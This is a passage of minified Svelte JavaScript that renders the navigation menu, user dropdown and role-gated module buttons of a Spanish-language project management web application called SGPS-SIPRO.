3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z"),(0,a.Lj)(t,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(t,"class","h-6 w-6"),(0,a.Lj)(t,"fill","none"),(0,a.Lj)(t,"viewBox","0 0 24 24"),(0,a.Lj)(t,"stroke","currentColor")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},d(e){e&&(0,a.og)(t)}}}function x(e){let t,n,i=e[2].props.auth.numeroNotificaciones+"";return{c(){t=(0,a.bG)("span"),n=(0,a.fL)(i),(0,a.Lj)(t,"class","absolute bg-indigo-700 flex h-5/6 items-center justify-center rounded-full text-center text-white text-xs w-5/6"),(0,a.cz)(t,"top","-10px"),(0,a.cz)(t,"left","10px")},m(e,i){(0,a.$T)(e,t,i),(0,a.R3)(t,n)},p(e,t){4&t[0]&&i!==(i=e[2].props.auth.numeroNotificaciones+"")&&(0,a.rT)(n,i)},d(e){e&&(0,a.og)(t)}}}function $(e){let t,n,i,r,s,o;return s=new c.Z({props:{name:"cheveron-down",class:"w-5 h-5 group-hover:fill-indigo-600 fill-gray-700 focus:fill-indigo-600"}}),{c(){t=(0,a.bG)("div"),n=(0,a.bG)("div"),i=(0,a.bG)("span"),i.textContent=`${e[5].nombre}`,r=(0,a.Dh)(),(0,a.YC)(s.$$.fragment),(0,a.Lj)(i,"class","capitalize"),(0,a.Lj)(n,"class","text-gray-700 group-hover:text-indigo-600 focus:text-indigo-600 mr-1 whitespace-no-wrap"),(0,a.Lj)(t,"class","flex items-center cursor-pointer select-none group")},m(e,d){(0,a.$T)(e,t,d),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(t,r),(0,a.ye)(s,t,null),o=!0},p:a.ZT,i(e){o||((0,a.Ui)(s.$$.fragment,e),o=!0)},o(e){(0,a.et)(s.$$.fragment,e),o=!1},d(e){e&&(0,a.og)(t),(0,a.vp)(s)}}}function S(e){let t,n,i,r,d,l,u,c,m,_,h,f,p,g,L,y,v,M,b,Y,k,w,T,D,x,$,S,j=e[4]("Logout")+"";return{c(){t=(0,a.bG)("div"),n=(0,a.bG)("a"),i=(0,a.bi)("svg"),r=(0,a.bi)("path"),d=(0,a.Dh)(),l=(0,a.bG)("span"),l.textContent="Soporte",m=(0,a.Dh)(),_=(0,a.bG)("a"),h=(0,a.bi)("svg"),f=(0,a.bi)("path"),p=(0,a.Dh)(),g=(0,a.bG)("span"),g.textContent="Cambiar contraseña",v=(0,a.Dh)(),M=(0,a.bG)("a"),b=(0,a.bi)("svg"),Y=(0,a.bi)("path"),k=(0,a.Dh)(),w=(0,a.bG)("span"),T=(0,a.fL)(j),(0,a.Lj)(r,"stroke-linecap","round"),(0,a.Lj)(r,"stroke-linejoin","round"),(0,a.Lj)(r,"stroke-width","2"),(0,a.Lj)(r,"d","M18.364 5.636l-3.536 3.536m0 5.656l3.536 3.536M9.172 9.172L5.636 5.636m3.536 9.192l-3.536 3.536M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-5 0a4 4 0 11-8 0 4 4 0 018 0z"),(0,a.Lj)(i,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(i,"class","h-6 w-6"),(0,a.cz)(i,"flex-basis","20px"),(0,a.Lj)(i,"fill","none"),(0,a.Lj)(i,"viewBox","0 0 24 24"),(0,a.Lj)(i,"stroke","currentColor"),(0,a.Lj)(l,"class","ml-1.5"),(0,a.Lj)(n,"href",u=(0,o.BC)("reportar-problemas.create")),(0,a.Lj)(n,"class","flex items-center px-6 py-2 hover:bg-indigo-500 hover:text-white"),(0,a.Lj)(f,"stroke-linecap","round"),(0,a.Lj)(f,"stroke-linejoin","round"),(0,a.Lj)(f,"stroke-width","2"),(0,a.Lj)(f,"d","M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"),(0,a.Lj)(h,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(h,"class","h-6 w-6"),(0,a.cz)(h,"flex-basis","20px"),(0,a.Lj)(h,"fill","none"),(0,a.Lj)(h,"viewBox","0 0 24 24"),(0,a.Lj)(h,"stroke","currentColor"),(0,a.Lj)(g,"class","ml-1.5"),(0,a.Lj)(_,"href",L=(0,o.BC)("users.change-password")),(0,a.Lj)(_,"class","flex items-center px-6 py-2 hover:bg-indigo-500 hover:text-white"),(0,a.Lj)(Y,"fill-rule","evenodd"),(0,a.Lj)(Y,"d","M3 3a1 1 0 00-1 1v12a1 1 0 102 0V4a1 1 0 00-1-1zm10.293 9.293a1 1 0 001.414 1.414l3-3a1 1 0 000-1.414l-3-3a1 1 0 10-1.414 1.414L14.586 9H7a1 1 0 100 2h7.586l-1.293 1.293z"),(0,a.Lj)(Y,"clip-rule","evenodd"),(0,a.Lj)(b,"xmlns","http://www.w3.org/2000/svg"),(0,a.Lj)(b,"class","h-5 w-5"),(0,a.Lj)(b,"viewBox","0 0 20 20"),(0,a.Lj)(b,"fill","currentColor"),(0,a.Lj)(w,"class","ml-1.5"),(0,a.Lj)(M,"href",D=(0,o.BC)("logout")),(0,a.Lj)(M,"class","flex items-center px-6 py-2 hover:bg-indigo-500 hover:text-white"),(0,a.Lj)(t,"slot","dropdown"),(0,a.Lj)(t,"class","mt-2 py-2 shadow-xl bg-white rounded text-sm")},m(e,o){(0,a.$T)(e,t,o),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(i,r),(0,a.R3)(n,d),(0,a.R3)(n,l),(0,a.R3)(t,m),(0,a.R3)(t,_),(0,a.R3)(_,h),(0,a.R3)(h,f),(0,a.R3)(_,p),(0,a.R3)(_,g),(0,a.R3)(t,v),(0,a.R3)(t,M),(0,a.R3)(M,b),(0,a.R3)(b,Y),(0,a.R3)(M,k),(0,a.R3)(M,w),(0,a.R3)(w,T),$||(S=[(0,a.TV)(c=s.II.call(null,n)),(0,a.TV)(y=s.II.call(null,_)),(0,a.TV)(x=s.II.call(null,M,{method:"post"}))],$=!0)},p(e,t){16&t[0]&&j!==(j=e[4]("Logout")+"")&&(0,a.rT)(T,j)},d(e){e&&(0,a.og)(t),$=!1,(0,a.j7)(S)}}}function j(e){let t;return{c(){t=(0,a.fL)("Menú de navegación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function H(e){let t,n=e[4]("Logout")+"";return{c(){t=(0,a.fL)(n)},m(e,n){(0,a.$T)(e,t,n)},p(e,i){16&i[0]&&n!==(n=e[4]("Logout")+"")&&(0,a.rT)(t,n)},d(e){e&&(0,a.og)(t)}}}function C(e){let t;const n=e[8].header,i=(0,a.nu)(n,e,e[34],w);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,r){i&&i.p&&(!t||8&r[1])&&(0,a.Tj)(i,n,e,e[34],t?r:[-1,-1],k,w)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function E(e){let t;return{c(){t=(0,a.bG)("div"),t.innerHTML='<div class="">Menú de navegación</div>',(0,a.Lj)(t,"slot","title"),(0,a.Lj)(t,"class","mb-6 text-center text-primary")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function O(e){let t;return{c(){t=(0,a.fL)("Ambientes de modernización")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function A(e){let t;return{c(){t=(0,a.fL)("Anexos")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function I(e){let t;return{c(){t=(0,a.fL)("Centros de formación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function R(e){let t;return{c(){t=(0,a.fL)("Convocatorias")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function P(e){let t;return{c(){t=(0,a.fL)("Evaluaciones")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function F(e){let t;return{c(){t=(0,a.fL)("Grupos de investigación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function N(e){let t;return{c(){t=(0,a.fL)("Líneas de investigación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function z(e){let t;return{c(){t=(0,a.fL)("Líneas programáticas")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function U(e){let t;return{c(){t=(0,a.fL)("Líneas TecnoAcademia")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function W(e){let t;return{c(){t=(0,a.fL)("Mesas técnicas")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function V(e){let t;return{c(){t=(0,a.fL)("Programas de formación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function G(e){let t;return{c(){t=(0,a.fL)("Proyectos")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function q(e){let t;return{c(){t=(0,a.fL)("Redes de conocimiento")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function B(e){let t;return{c(){t=(0,a.fL)("Regionales")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function Z(e){let t;return{c(){t=(0,a.fL)("Reportes")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function J(e){let t;return{c(){t=(0,a.fL)("Roles SENNOVA")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function K(e){let t;return{c(){t=(0,a.fL)("Roles de sistema")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function X(e){let t;return{c(){t=(0,a.fL)("Semilleros de investigación")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function Q(e){let t;return{c(){t=(0,a.fL)("Tecnoacademias")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function ee(e){let t;return{c(){t=(0,a.fL)("Temáticas estratégicas SENA")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function te(e){let t;return{c(){t=(0,a.fL)("Usuarios")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function ne(e){let t,n,i,r,s,d,l,u,c,m,_,h,f,p,g,y,v,M,b,Y,k,w,T,D=e[6]||(0,o.Zd)(e[5],[4,21,20,18,19,5,17]),x=e[6]||(0,o.Zd)(e[5],[11])||(0,o.P_)(e[5],[1,3,4,5,6,7,8,9,10,11,12,13,17,18,19,14,15,16,20,21]),$=e[6]||(0,o.Zd)(e[5],[20,18,19,5,17]),S=e[6]||(0,o.Zd)(e[5],[4,21,20,18,19,5,17]),j=e[6]||(0,o.Zd)(e[5],[4,21,20,18,19,5,17]),H=e[6]||(0,o.Zd)(e[5],[20,18,19,5,17]),C=e[6]||(0,o.Zd)(e[5],[20,18,19,5,17]),E=e[6]||(0,o.Zd)(e[5],[4,21,20,18,19,5,17]),ne=e[6]||(0,o.Zd)(e[5],[5]),ae=e[6]||(0,o.Zd)(e[5],[4,21,18,19,5,17]),ie=D&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("ambientes-modernizacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[O]},$$scope:{ctx:e}}}),t.$on("click",e[12]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),re=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("anexos.*")?"raised":"outlined",class:"p-2",$$slots:{default:[A]},$$scope:{ctx:e}}}),t.$on("click",e[13]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),se=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("centros-formacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[I]},$$scope:{ctx:e}}}),t.$on("click",e[14]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),oe=x&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("convocatorias.*")?"raised":"outlined",class:"p-2",$$slots:{default:[R]},$$scope:{ctx:e}}}),t.$on("click",e[15]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),de=$&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("evaluaciones.*")?"raised":"outlined",class:"p-2",$$slots:{default:[P]},$$scope:{ctx:e}}}),t.$on("click",e[16]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),le=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("grupos-investigacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[F]},$$scope:{ctx:e}}}),t.$on("click",e[17]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ue=S&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("lineas-investigacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[N]},$$scope:{ctx:e}}}),t.$on("click",e[18]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ce=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("lineas-programaticas.*")?"raised":"outlined",class:"p-2",$$slots:{default:[z]},$$scope:{ctx:e}}}),t.$on("click",e[19]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),me=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("lineas-tecnoacademia.*")?"raised":"outlined",class:"p-2",$$slots:{default:[U]},$$scope:{ctx:e}}}),t.$on("click",e[20]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),_e=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("mesas-tecnicas.*")?"raised":"outlined",class:"p-2",$$slots:{default:[W]},$$scope:{ctx:e}}}),t.$on("click",e[21]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),he=j&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("programas-formacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[V]},$$scope:{ctx:e}}}),t.$on("click",e[22]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),fe=H&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("proyectos.*")?"raised":"outlined",class:"p-2",$$slots:{default:[G]},$$scope:{ctx:e}}}),t.$on("click",e[23]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),pe=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("redes-conocimiento.*")?"raised":"outlined",class:"p-2",$$slots:{default:[q]},$$scope:{ctx:e}}}),t.$on("click",e[24]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ge=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("regionales.*")?"raised":"outlined",class:"p-2",$$slots:{default:[B]},$$scope:{ctx:e}}}),t.$on("click",e[25]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),Le=C&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("reportes.*")?"raised":"outlined",class:"p-2",$$slots:{default:[Z]},$$scope:{ctx:e}}}),t.$on("click",e[26]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ye=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("roles-sennova.*")?"raised":"outlined",class:"p-2",$$slots:{default:[J]},$$scope:{ctx:e}}}),t.$on("click",e[27]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ve=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("roles.*")?"raised":"outlined",class:"p-2",$$slots:{default:[K]},$$scope:{ctx:e}}}),t.$on("click",e[28]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),Me=E&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("semilleros-investigacion.*")?"raised":"outlined",class:"p-2",$$slots:{default:[X]},$$scope:{ctx:e}}}),t.$on("click",e[29]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),be=ne&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("tecnoacademias.*")?"raised":"outlined",class:"p-2",$$slots:{default:[Q]},$$scope:{ctx:e}}}),t.$on("click",e[30]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),Ye=e[6]&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("tematicas-estrategicas.*")?"raised":"outlined",class:"p-2",$$slots:{default:[ee]},$$scope:{ctx:e}}}),t.$on("click",e[31]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),ke=ae&&function(e){let t,n;return t=new L.Z({props:{variant:(0,o.BC)().current("users.*")?"raised":"outlined",class:"p-2",$$slots:{default:[te]},$$scope:{ctx:e}}}),t.$on("click",e[32]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e);return{c(){t=(0,a.bG)("div"),n=(0,a.bG)("div"),ie&&ie.c(),i=(0,a.Dh)(),re&&re.c(),r=(0,a.Dh)(),se&&se.c(),s=(0,a.Dh)(),oe&&oe.c(),d=(0,a.Dh)(),de&&de.c(),l=(0,a.Dh)(),le&&le.c(),u=(0,a.Dh)(),ue&&ue.c(),c=(0,a.Dh)(),ce&&ce.c(),m=(0,a.Dh)(),me&&me.c(),_=(0,a.Dh)(),_e&&_e.c(),h=(0,a.Dh)(),he&&he.c(),f=(0,a.Dh)(),fe&&fe.c(),p=(0,a.Dh)(),pe&&pe.c(),g=(0,a.Dh)(),ge&&ge.c(),y=(0,a.Dh)(),Le&&Le.c(),v=(0,a.Dh)(),ye&&ye.c(),M=(0,a.Dh)(),ve&&ve.c(),b=(0,a.Dh)(),Me&&Me.c(),Y=(0,a.Dh)(),be&&be.c(),k=(0,a.Dh)(),Ye&&Ye.c(),w=(0,a.Dh)(),ke&&ke.c(),(0,a.Lj)(n,"class","grid grid-cols-3 gap-5 p-8"),(0,a.Lj)(t,"slot","content")},m(e,o){(0,a.$T)(e,t,o),(0,a.R3)(t,n),ie&&ie.m(n,null),(0,a.R3)(n,i),re&&re.m(n,null),(0,a.R3)(n,r),se&&se.m(n,null),(0,a.R3)(n,s),oe&&oe.m(n,null),(0,a.R3)(n,d),de&&de.m(n,null),(0,a.R3)(n,l),le&&le.m(n,null),(0,a.R3)(n,u),ue&&ue.m(n,null),(0,a.R3)(n,c),ce&&ce.m(n,null),(0,a.R3)(n,m),me&&me.m(n,null),(0,a.R3)(n,_),_e&&_e.m(n,null),(0,a.R3)(n,h),he&&he.m(n,null),(0,a.R3)(n,f),fe&&fe.m(n,null),(0,a.R3)(n,p),pe&&pe.m(n,null),(0,a.R3)(n,g),ge&&ge.m(n,null),(0,a.R3)(n,y),Le&&Le.m(n,null),(0,a.R3)(n,v),ye&&ye.m(n,null),(0,a.R3)(n,M),ve&&ve.m(n,null),(0,a.R3)(n,b),Me&&Me.m(n,null),(0,a.R3)(n,Y),be&&be.m(n,null),(0,a.R3)(n,k),Ye&&Ye.m(n,null),(0,a.R3)(n,w),ke&&ke.m(n,null),T=!0},p(e,t){D&&ie.p(e,t),e[6]&&re.p(e,t),e[6]&&se.p(e,t),x&&oe.p(e,t),$&&de.p(e,t),e[6]&&le.p(e,t),S&&ue.p(e,t),e[6]&&ce.p(e,t),e[6]&&me.p(e,t),e[6]&&_e.p(e,t),j&&he.p(e,t),H&&fe.p(e,t),e[6]&&pe.p(e,t),e[6]&&ge.p(e,t),C&&Le.p(e,t),e[6]&&ye.p(e,t),e[6]&&ve.p(e,t),E&&Me.p(e,t),ne&&be.p(e,t),e[6]&&Ye.p(e,t),ae&&ke.p(e,t)},i(e){T||((0,a.Ui)(ie),(0,a.Ui)(re),(0,a.Ui)(se),(0,a.Ui)(oe),(0,a.Ui)(de),(0,a.Ui)(le),(0,a.Ui)(ue),(0,a.Ui)(ce),(0,a.Ui)(me),(0,a.Ui)(_e),(0,a.Ui)(he),(0,a.Ui)(fe),(0,a.Ui)(pe),(0,a.Ui)(ge),(0,a.Ui)(Le),(0,a.Ui)(ye),(0,a.Ui)(ve),(0,a.Ui)(Me),(0,a.Ui)(be),(0,a.Ui)(Ye),(0,a.Ui)(ke),T=!0)},o(e){(0,a.et)(ie),(0,a.et)(re),(0,a.et)(se),(0,a.et)(oe),(0,a.et)(de),(0,a.et)(le),(0,a.et)(ue),(0,a.et)(ce),(0,a.et)(me),(0,a.et)(_e),(0,a.et)(he),(0,a.et)(fe),(0,a.et)(pe),(0,a.et)(ge),(0,a.et)(Le),(0,a.et)(ye),(0,a.et)(ve),(0,a.et)(Me),(0,a.et)(be),(0,a.et)(Ye),(0,a.et)(ke),T=!1},d(e){e&&(0,a.og)(t),ie&&ie.d(),re&&re.d(),se&&se.d(),oe&&oe.d(),de&&de.d(),le&&le.d(),ue&&ue.d(),ce&&ce.d(),me&&me.d(),_e&&_e.d(),he&&he.d(),fe&&fe.d(),pe&&pe.d(),ge&&ge.d(),Le&&Le.d(),ye&&ye.d(),ve&&ve.d(),Me&&Me.d(),be&&be.d(),Ye&&Ye.d(),ke&&ke.d()}}}function ae(e){let t;return{c(){t=(0,a.fL)("Cancelar")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function ie(e){let t,n,i,r;return i=new L.Z({props:{variant:null,$$slots:{default:[ae]},$$scope:{ctx:e}}}),i.$on("click",e[11]),{c(){t=(0,a.bG)("div"),n=(0,a.bG)("div"),(0,a.YC)(i.$$.fragment),(0,a.Lj)(n,"class","p-4"),(0,a.Lj)(t,"slot","actions")},m(e,s){(0,a.$T)(e,t,s),(0,a.R3)(t,n),(0,a.ye)(i,n,null),r=!0},p(e,t){const n={};8&t[1]&&(n.$$scope={dirty:t,ctx:e}),i.$set(n)},i(e){r||((0,a.Ui)(i.$$.fragment,e),r=!0)},o(e){(0,a.et)(i.$$.fragment,e),r=!1},d(e){e&&(0,a.og)(t),(0,a.vp)(i)}}}function re(e){let t,n,i,r,d,c,m,_,h,v,M,b,Y,k,w,O,A,I,R,P,F,N,z,U,W,V,G,q,B,Z,J,K,X,Q,ee,te,ae,re,se,de,le,ue,ce,me,_e,he,fe,pe,ge,Le,ye,ve,Me,be,Ye,ke,we,Te,De,xe=e[2].props.convocatoria.fase_formateada+"";document.title=t=e[3]?`${e[3]} - SGPS-SIPRO`:"SGPS-SIPRO",M=new l.Z({props:{class:"w-10"}}),O=new L.Z({props:{variant:null,$$slots:{default:[T]},$$scope:{ctx:e}}}),O.$on("click",e[9]);let $e=e[6]&&function(e){let t,n;return t=new L.Z({props:{class:"ml-4 mb-2",variant:"raised",$$slots:{default:[D]},$$scope:{ctx:e}}}),t.$on("click",e[10]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};8&n[1]&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}(e),Se=e[2].props.auth.numeroNotificaciones>0&&x(e);K=new u.Z({props:{class:"mt-1",placement:"bottom-end",$$slots:{dropdown:[S],default:[$]},$$scope:{ctx:e}}}),te=new 